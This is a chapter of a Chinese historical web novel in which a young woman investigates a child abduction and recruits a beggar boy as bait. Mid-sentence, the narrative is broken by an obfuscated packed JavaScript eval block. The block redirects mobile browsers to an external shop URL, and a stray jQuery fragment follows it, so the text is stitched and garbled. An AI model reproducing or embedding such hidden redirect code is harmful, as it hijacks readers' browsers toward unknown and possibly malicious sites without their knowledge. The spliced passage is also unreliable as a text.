早起对陆窕月来说并不算什么困难事,梳洗上妆这等事她也不用丫鬟在身边伺候,顺利做好准备出门了。
早上的课是裴师的典籍释义,这门课是要好好上的,一早便请假不太好。陆窕月准备在历史策论这堂课上告假,倒不是陆窕月觉得这门课不重要,只是她不参加科举,策论老师对女学生稍稍放宽些,至于上课老师讲的那些……回来找人借课业看看吧。
裴师是卡着时间走进教室的,在他后面的学生都算是迟到,毫不意外,迟到的人里面基本都是几个朝廷高官家的郎君娘子。裴玉珩倒没难为这些人,第一天上课不宜太严厉,强调了一下纪律要求,让大家下次不要迟到便好。
让陆窕月意外的是方沉川居然并没迟到,不过陆窕月权当他运气好,因为他是最后一个没迟到的学生。
裴玉珩讲话声音也很符合他的长相,有让人平静的能力,他又学问渊博,讲课时会引经据典,如果内容晦涩难懂,他便讲个故事,让学生更好地理解,总之是学生最喜欢的那类老师。
“‘朝闻道,夕死可矣。’这句可有人愿意主动译一下,若是答对,今日便不留功课了。”裴玉珩挑了一句不算难的,这些学生起点不同,一味增加课业压力可能会适得其反。
坐在陆窕月后面的是鸿胪寺卿家的二郎,听到裴玉珩这句话,赶忙举手。
裴玉珩知道这位史二郎君,学问虽然一般,但是心性善良,方才课听得也很认真。将手一摊,作出请的姿势。
“学生觉得,是早上打听到去你家的路,晚上你就死了。”
此言一出,引得在座的学生哄然大笑,连好教养的裴玉珩都面露难色。看来史鸿胪还需要加强对二郎的教育。
“其他人的作业免了,你下课单独来找我。”裴玉珩点了点有些不知所措的史二。
“这句话的意思是,‘早晨得知领悟了真理,哪怕晚上就死去,也可以接受。’强调了对真理的执着,符合通篇所论述的道德追求。”这句话的释义或许是对史二一个人的解答,但后半句对道德的要求,却是裴玉珩讲给所有学生听的。
裴玉珩又给了史二一个眼神,收起课本说道:“这节课便先上到这里吧。”
史二欲哭无泪,裴师也不像看上去那么温柔啊,还要我下课去找他。
课上闹了这么一个小插曲,陆窕月此时的心情放松了许多,她现在得去找山长请假……
方沉川扫到陆窕月有些匆忙的背影,却没跟上。他这次不准备再参与进去,把陈安借给陆窕月已经算他大方了,他倒想看看这位天真的陆娘子能力到底如何,若只是空有一副花架子,就省了让他再花心思。
太师给假倒是爽快,一是太师知道陆秉文此人为官风格,相信以他的家教,陆窕月定不是为逃课寻借口;二是第一天上课嘛,忘带些东西情有可原,第一次离家读书,许一下午策论课的假而已,不妨事。
有了太师批的假,陆窕月行事便方便多了,怕耽误时间,陆窕月向策论老师告假后直接出了书院。
陆窕月找到老王的时候,他家里人刚好都在,他母亲年寿已高,孙子丢了以后便一病不起,眼看人要不行了。家里人现在都守在老太太床前,想了法子说些好消息。但大家都清楚,这是心病,见不到孙子怕是好不了的。
陆窕月怕王大叔有顾忌,便表明了自己的身份,一咬牙,坐在老太太床前,用一个善意的谎言安抚老人家:“老人家,我是现任京兆尹陆秉文的女儿,您孙子已经找到了。但有许多人家的孩子也丢了,所以您孙子暂时还不能回家,需要帮京兆府提供一些线索,好找回其他孩子。放心吧,他现在已经安全了,身上也没有伤,稍过些日子定然全须全尾的还您。”
陆窕月根本不敢保证究竟几天能把孩子送回来,她甚至连是否能将孩子带回都不能保证。说出这些话却不能履行的后果,她已经无暇顾及了,就算孩子目前已经遭遇不测,这个家也不能再添新伤了。
老太太听了陆窕月的话,把目光转到儿子身上。
王大叔没反驳陆窕月的话,他自然也希望母亲能好起来,于是他硬挤出一个笑容,点点头。
从老太太房间退出来,陆窕月把王大叔喊到一边:“对不起,编出这样一个谎言欺骗您的母亲。但是我是真的想要帮您,能跟我讲一讲,孩子走失前后都发生了什么吗?”
“那天晚上我下工,我儿子跟着他娘一起来寻我回家,当晚街上人有些多,他想要个糖人,我不过在摊子前多站了一会儿……是听到他娘喊孩子的名字,我才知道孩子不见了。但是太多人了,真的太多人了,我根本找不到他。”王大叔情绪有些崩溃,一直重复着找不到三个字,不停地流泪。
看来王大叔这儿是再问不到其他东西了,陆窕月便让王大叔叫妻子来,孩子母亲一直陪在孩子身边,具体发生了什么她一定知道。
“我当时牵着小宝的手,哪儿也没去,突然有人拍我肩膀,找我搭话。好像认识我一样说些以前的事,但是我没有印象,就一直在想,然后她又说了几句,好像发现自己认错人了,支支吾吾两句就走了。等我再回过神来,小宝就不见了。都怪我,全都怪我,我要是不分心,小宝不会丢的。”老王媳妇又哭起来,她本来就憔悴,现下甚至有要昏死过去的样子。
陆窕月赶紧让她先去休息,她却不肯,死死抓着陆窕月的手,说道:“肯定是那个搭话的婆子!一定是她和同伙!我记得她长什么样子,她眉毛上有一个痣,我当时一直盯着看。姑娘,你一定要把我的小宝找回来啊。”
陆窕月先安抚她的情绪,让她尽量平静下来,仔细听着王大婶记忆里与她搭话的人的样貌,记录下来。
虽不敢肯定这个搭话的人就是偷孩子的凶手,但这个人的嫌疑很大。若是真的认错人了,怎么会不打一声招呼又走了呢?想来是同伙已经得手,着急抽身罢了。
顺着这个方向,陆窕月回到当时丢孩子的那条街上。这条街贩卖的都是些普通百姓常用的东西,下午时分尚且这么多人,怪不得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918656|213401||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
老王和他媳妇找不到把孩子抱走的人。这路上多个人抱孩子走过去一点也不稀奇。
卖糖人的摊位在街道南边,人流多是从北侧来的,若是抱着孩子逆流而上,肯定行动缓慢。人贩子必然是顺着人流接着往南边走的。如果是身体强壮的成年男性,一息便可消失在视线里,一字的时间便能走出这条街。
陆窕月给他爹留了封信,重点描述了一下那个搭话妇人的外貌,京兆府有专司罪犯画像的画师,有个人像参考方便些。
事情发生已经隔了一段时间,眼下通过打听所能得到的线索已经太少了。
陆窕月如今在书院读书,拂雪等丫鬟护院就闲了下来,便让他们挨家挨户询问见没见过一个眉上长痣的妇人。若是能打探到消息最好,问不到也没什么,陆窕月本就没指望这样简单抓到人,她另有别的计划。
她拐进了好几个巷子,似乎是在找什么人,终于在一处鲜有人来的暗巷里,见到了几个衣衫破败的乞丐。
陆窕月将提前准备好的吃食递过去,老乞丐一下抢过来,分了一些给边上的小孩。
小乞丐却不肯吃,小心地看了眼陆窕月。
“放心吃吧,没给你下毒。不过我确实有事相求,若你愿意帮忙,我会给你寻一处傍身之地,让你不再流浪挨饿。”若是陆窕月一个人,定然是不敢如此鲁莽走进这条暗巷的,但陆云就在附近,从陆窕月刚从书院出来时便跟在身边。
小乞丐想了想,没说话,而是先吃起手中的食物。
陆窕月的长相毫无攻击力,穿着也能看出是富贵人家的千金,况且一个手无缚鸡之力的年轻姑娘,明显处境更危险的是她。
老乞丐狼吞虎咽吃完,看起来是饿了几天,抢着道:“我能帮忙,我什么都愿意做!”
陆窕月摇摇头:“我需要一个机灵的小孩子,不过你放心,我会另给你找一份可以生存的工作。”陆家在新丰县也有几处庄子,给这些乞丐一份工作不成问题,若他们肯努力工作,虽然难以入籍造册,但总归比乞讨的生活好些。若是因为作恶沦落至此,仍不肯从善工作,那便是他自己的选择了。
小乞丐一看便是机灵孩子,脸上虽有些脏污,但眼睛清澈透亮。他犹疑着开口:“你先说是什么事。”
陆窕月朝他招手,示意他附耳过来。
小乞丐脸一红,这个漂亮姐姐给他食物就算了,还不嫌他脏,肯靠近他。心中顿时对陆窕月升起几分好感,他擦了擦脸,小心翼翼凑过去。
“你扮作我兄长的,嗯……弟弟吧,等待人贩子来拐你。放心,我兄长身手很好,定能护你周全。只要抓到偷孩子的贼,你便不用再演了。”陆窕月小声说道,笑容狡黠,拉开和小乞丐的距离,直视他的眼睛:“怎么样!虽然有些冒险,但我保证,不会让你出事的。”
被人贩子抓走而已,也比现在的流浪生活差不到哪里去,况且陆窕月确实不像是骗他的样子。小乞丐看着那双澄澈的眼睛,这个姐姐看起来就是个很好的人,他点头。